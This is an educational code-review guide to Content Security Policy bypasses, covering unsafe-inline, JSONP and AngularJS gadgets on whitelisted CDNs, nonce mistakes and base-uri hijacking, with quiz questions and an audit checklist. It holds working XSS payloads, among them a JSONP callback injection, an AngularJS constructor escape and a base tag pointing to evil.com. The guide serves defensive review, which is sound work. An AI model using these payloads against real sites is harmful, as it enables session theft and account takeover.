CSP Bypass Techniques: Code Review Guide
Table of Contents
1. Introduction to Content Security Policy
Content Security Policy (CSP) is a browser security mechanism that restricts which resources (scripts, styles, images, fonts, frames, etc.) a page is allowed to load. Delivered as an HTTP response header, CSP is the primary defense-in-depth mitigation against Cross-Site Scripting (XSS) — if an attacker finds an injection point, CSP should prevent the injected code from executing.
Why CSP Bypasses Matter
CSP is often the last line of defense against XSS. If an application has an XSS vulnerability but a strong CSP, the attacker's payload is blocked by the browser. But if the CSP has weaknesses — and research shows that over 90% of deployed CSPs are bypassable — the attacker gets full JavaScript execution. Understanding CSP bypass techniques is essential for evaluating whether a CSP actually provides protection during code review.
In this guide, you'll learn how CSP directives work and what each one controls, why unsafe-inline and unsafe-eval destroy CSP's value, how whitelisted JSONP endpoints and JavaScript libraries enable bypasses, why nonce and hash implementations often fail, how base-uri hijacking and dangling markup attacks circumvent script restrictions, and how to audit CSP policies during code review.
How CSP Works & Where Bypasses Occur
CSP Enforcement Flow
Common Bypass Categories
A web application has an XSS vulnerability but also has a Content Security Policy. What determines whether the XSS is exploitable?
2. CSP Fundamentals & Directives
CSP is delivered via the Content-Security-Policy HTTP response header (or a <meta> tag). It consists of directives that control which sources are allowed for each resource type.
CSP header anatomy
1Content-Security-Policy:
2 default-src 'self'; # Fallback for all resource types
3 script-src 'self' https://cdn.example.com; # Where scripts can load from
4 style-src 'self' 'unsafe-inline'; # Where styles can load from
5 img-src 'self' data: https:; # Where images can load from
6 font-src 'self' https://fonts.gstatic.com; # Where fonts can load from
7 connect-src 'self' https://api.example.com; # Where fetch/XHR can connect
8 frame-src https://www.youtube.com; # Where iframes can load from
9 object-src 'none'; # Block Flash/Java plugins entirely
10 base-uri 'self'; # Restrict <base> element
11 form-action 'self'; # Where forms can submit to
12 frame-ancestors 'self'; # Who can frame this page (like X-Frame-Options)
13 report-uri /csp-report; # Where to send violation reportsKey CSP Source Values
| Source Value | Meaning | Security Impact |
|---|---|---|
| 'none' | Block all sources for this directive | Most restrictive — use for object-src, base-uri |
| 'self' | Allow same-origin resources only | Generally safe, but watch for JSONP/upload endpoints on same origin |
| 'unsafe-inline' | Allow inline scripts/styles | Destroys CSP protection against XSS — avoid at all costs |
| 'unsafe-eval' | Allow eval(), Function(), setTimeout(string) | Enables code execution from strings — avoid |
| 'nonce-{random}' | Allow scripts with matching nonce attribute | Strong when implemented correctly — nonce must be random per request |
| 'sha256-{hash}' | Allow scripts with matching content hash | Strong for static scripts — brittle if content changes |
| 'strict-dynamic' | Trust scripts loaded by already-trusted scripts | Modern approach — allows dynamic script loading with nonce propagation |
| https://cdn.example.com | Allow resources from this specific origin | Risk: any script on that CDN can be loaded — including JSONP callbacks |
| https: | Allow any HTTPS source | Very weak — attacker can host scripts on any HTTPS domain |
| * | Allow everything | No protection — equivalent to having no CSP |
The default-src Fallback
default-src serves as the fallback for any directive not explicitly set. If you set default-src 'self' but omit script-src, scripts fall back to 'self'. A critical mistake is setting a restrictive default-src but then adding a permissive script-src that overrides it. Always explicitly set script-src, object-src, and base-uri.
3. unsafe-inline & unsafe-eval Bypasses
The 'unsafe-inline' directive is the single most common CSP misconfiguration — and it completely negates CSP's XSS protection. If the policy allows inline scripts, any XSS injection that produces an inline <script> tag or event handler executes normally.
CSP with unsafe-inline — no XSS protection
1# ❌ This CSP provides ZERO protection against XSS
2Content-Security-Policy: script-src 'self' 'unsafe-inline'
3
4# Attacker injects any of these — all execute:
5<script>alert(document.cookie)</script>
6<img src=x onerror="alert(document.cookie)">
7<div onmouseover="alert(document.cookie)">hover me</div>
8<a href="javascript:alert(document.cookie)">click</a>Why developers add unsafe-inline: Inline scripts and styles are extremely common in web applications. Frameworks like WordPress, legacy jQuery apps, and even some modern SSR frameworks inject inline <script> tags. Rather than refactoring to use nonces or external scripts, developers take the shortcut of adding unsafe-inline — unknowingly destroying their CSP.
CSP with unsafe-eval — enables eval-based attacks
1# ❌ unsafe-eval allows string-to-code execution
2Content-Security-Policy: script-src 'self' 'unsafe-eval'
3
4# If attacker controls a string that reaches eval():
5eval(userInput) // Direct code execution
6new Function(userInput)() // Same effect
7setTimeout(userInput, 0) // Eval from string argument
8setInterval(userInput, 1000) // Eval from string argument
9
10# Some template engines require unsafe-eval:
11# - AngularJS (1.x) expressions
12# - Handlebars runtime compilation
13# - Some Vue.js configurationsYou audit a CSP and find: script-src 'nonce-abc123' 'unsafe-inline'. The developer says the nonce provides security. Is this correct?
4. JSONP & Whitelisted Library Bypasses
Even without unsafe-inline, a CSP that whitelists popular domains (CDNs, APIs, analytics) often has hidden bypass paths. The most dangerous are JSONP endpoints and JavaScript libraries on whitelisted domains that can be abused as script gadgets.
Bypass via JSONP endpoint on whitelisted domain
1# CSP whitelists the Google APIs domain for legitimate use:
2Content-Security-Policy: script-src 'self' https://accounts.google.com
3
4# But accounts.google.com has JSONP endpoints!
5# Attacker injects (requires an HTML injection / reflected XSS point):
6<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(document.cookie)//"></script>
7
8# The JSONP endpoint returns:
9# alert(document.cookie)//({...})
10# → JavaScript executes under the whitelisted origin! CSP allows it.JSONP (JSON with Padding) endpoints return user-controlled callback function names wrapped around JSON data. If the CSP whitelists the domain hosting a JSONP endpoint, an attacker can use it to execute arbitrary JavaScript by controlling the callback parameter.
Bypass via AngularJS on whitelisted CDN
1# CSP whitelists a CDN that hosts AngularJS:
2Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com
3
4# Attacker injects AngularJS + template expression:
5<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
6<div ng-app ng-csp>
7 {{ constructor.constructor('alert(document.cookie)')() }}
8</div>
9
10# AngularJS evaluates the template expression — achieving code execution
11# without inline scripts! The script loads from a CSP-whitelisted domain,
12# and Angular's template evaluation doesn't trigger CSP violations.The CDN Whitelist Problem
Research by Google's security team found that over 75% of CSP policies that use domain whitelists are bypassable due to JSONP endpoints, AngularJS libraries, or other script gadgets on the whitelisted domains. Common offenders include: *.googleapis.com, *.cloudflare.com, *.amazonaws.com, *.akamaihd.net, and *.google.com. The solution is to move from domain whitelists to nonce-based or strict-dynamic CSP.
Your CSP whitelists cdn.jsdelivr.net for a specific library. Why is this dangerous?
5. Nonce & Hash Misconfigurations
Nonce-based CSP is the recommended approach — each page load generates a random nonce, and only scripts with a matching nonce attribute are executed. However, implementation mistakes can make nonces completely ineffective.
Mistake 1: Static / reused nonce
1# ❌ The nonce is hardcoded or the same on every request!
2Content-Security-Policy: script-src 'nonce-STATIC123'
3
4# If an attacker can observe ANY response (e.g., via a cached page,
5# a proxy log, or even the page source), they know the nonce and
6# can inject scripts with it:
7<script nonce="STATIC123">alert(document.cookie)</script>
8
9# The nonce MUST be cryptographically random and unique per response.
10# Common mistake: caching HTML pages that contain nonces.Mistake 2: Nonce in DOM — accessible via XSS
1// ❌ If the attacker has an HTML injection point, they can
2// READ the nonce from an existing script tag and reuse it:
3
4// Page source:
5// <script nonce="r4nd0m">app.init();</script>
6
7// Attacker injects (via HTML injection, not script execution):
8// <img src=x onerror="
9// var nonce = document.querySelector('script[nonce]').nonce;
10// var s = document.createElement('script');
11// s.nonce = nonce;
12// s.textContent = 'alert(document.cookie)';
13// document.body.appendChild(s);
14// ">
15
16// Wait — this requires inline event handlers, which the nonce-based
17// CSP should block... unless there's ALSO a CSS injection or
18// another gadget that enables initial code execution.
19
20// The real risk: some frameworks expose the nonce via JavaScript APIs
21// or the DOM in ways that make it extractable.Mistake 3: Nonce on user-controlled element
1# If the application reflects user input inside a script tag
2# that has a nonce, the attacker gets code execution:
3
4# Server-side code:
5# <script nonce="<random>">
6# var config = { name: "USER_INPUT" };
7# </script>
8
9# Attacker input: "; alert(document.cookie); //
10# Result:
11<script nonce="r4nd0m">
12 var config = { name: ""; alert(document.cookie); //" };
13</script>
14# The nonce is present → CSP allows execution → XSS!
15
16# This is why nonces alone are insufficient — you must still
17# prevent injection into nonced script blocks.Hash-Based CSP Pitfall
Hash-based CSP ('sha256-...') only works for static inline scripts whose content never changes. If the script includes dynamic data (user name, CSRF token, config), the hash changes on every page load and breaks the CSP. This pushes developers toward unsafe-inline as a "quick fix." The correct approach for dynamic scripts is nonce-based CSP.
Your application uses nonce-based CSP and serves pages through a CDN cache. Pages are cached for 5 minutes. What's the security impact?
6. base-uri Hijacking
The <base> HTML element sets the base URL for all relative URLs in the document. If the CSP doesn't restrict base-uri, an attacker with HTML injection can change the base URL to their own server — causing all relative script loads to fetch from the attacker's domain.
base-uri hijacking attack
1<!-- Application loads scripts with relative paths: -->
2<script src="/js/app.js"></script>
3<script src="/js/utils.js"></script>
4
5<!-- CSP: script-src 'self' — only allows scripts from same origin -->
6
7<!-- But if base-uri is not restricted and attacker can inject HTML: -->
8<base href="https://evil.com/">
9
10<!-- Now ALL relative URLs resolve to evil.com: -->
11<!-- /js/app.js → https://evil.com/js/app.js -->
12<!-- /js/utils.js → https://evil.com/js/utils.js -->
13
14<!-- Wait — shouldn't 'self' block evil.com? -->
15<!-- YES, in modern browsers 'self' checks the actual URL, not the base. -->
16<!-- BUT some edge cases exist with relative URL resolution in older browsers -->
17<!-- AND this attack is devastating when combined with nonce-based CSP: -->
18
19<!-- If the page has: -->
20<script nonce="r4nd0m" src="/js/config.js"></script>
21<!-- And attacker injects <base href="https://evil.com/"> BEFORE this tag, -->
22<!-- The browser loads https://evil.com/js/config.js with a valid nonce! -->Fix: Always restrict base-uri
1# ✅ SECURE: Restrict base-uri
2Content-Security-Policy:
3 script-src 'nonce-r4nd0m';
4 base-uri 'self'; # ← Only allow base from same origin
5 object-src 'none'; # ← Block plugins
6
7# Or even stricter:
8 base-uri 'none'; # ← Block <base> entirelyCommonly Forgotten Directive
base-uri does NOT fall back to default-src. If you don't explicitly set it, there is no restriction on the <base> element. This is one of the most commonly forgotten CSP directives — always include base-uri 'self' or base-uri 'none' in every policy.
7. Detection During Code Review
During code review, evaluate the CSP policy itself, how it's deployed, and whether the application has patterns that undermine it.
CSP Code Review Checklist
| What to Check | Red Flag | Risk |
|---|---|---|
| script-src directive | Contains 'unsafe-inline' | Critical — CSP provides no XSS protection |
| script-src directive | Contains 'unsafe-eval' | High — enables eval-based attacks |
| script-src directive | Whitelists broad CDN domains (cdnjs, jsdelivr, unpkg, googleapis) | Critical — JSONP/library bypasses likely |
| script-src directive | Uses https: or * as a source | Critical — allows scripts from almost anywhere |
| base-uri directive | Missing entirely | High — base-uri hijacking possible |
| object-src directive | Missing or not set to 'none' | High — Flash/plugin-based bypasses |
| Nonce implementation | Nonce is static, predictable, or reused across requests | Critical — nonce-based CSP is useless |
| Nonce + caching | Pages with nonces are served from CDN cache | Critical — cached nonce = shared nonce |
| Nonce in script block | User input reflected inside a nonced script tag | Critical — attacker gets code execution within nonced context |
| Report-only mode | CSP is Content-Security-Policy-Report-Only (not enforced) | Info — CSP is monitoring-only, not blocking |
| Meta tag CSP | CSP deployed via <meta> tag instead of HTTP header | Medium — meta CSP cannot set frame-ancestors or report-uri |
Quick CSP audit commands
1# Check the deployed CSP header
2curl -s -I https://example.com | grep -i content-security-policy
3
4# Find CSP configuration in codebase
5grep -rn "content-security-policy|Content-Security-Policy|contentSecurityPolicy" \
6 --include="*.js" --include="*.ts" --include="*.json" --include="*.conf"
7
8# Check for unsafe directives
9grep -rn "unsafe-inline|unsafe-eval" --include="*.js" --include="*.ts" --include="*.conf"
10
11# Find nonce generation logic
12grep -rn "nonce|generateNonce|crypto.randomBytes" --include="*.js" --include="*.ts"
13
14# Use Google's CSP Evaluator (online tool):
15# https://csp-evaluator.withgoogle.com/You find this CSP: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src *. How many bypass paths exist?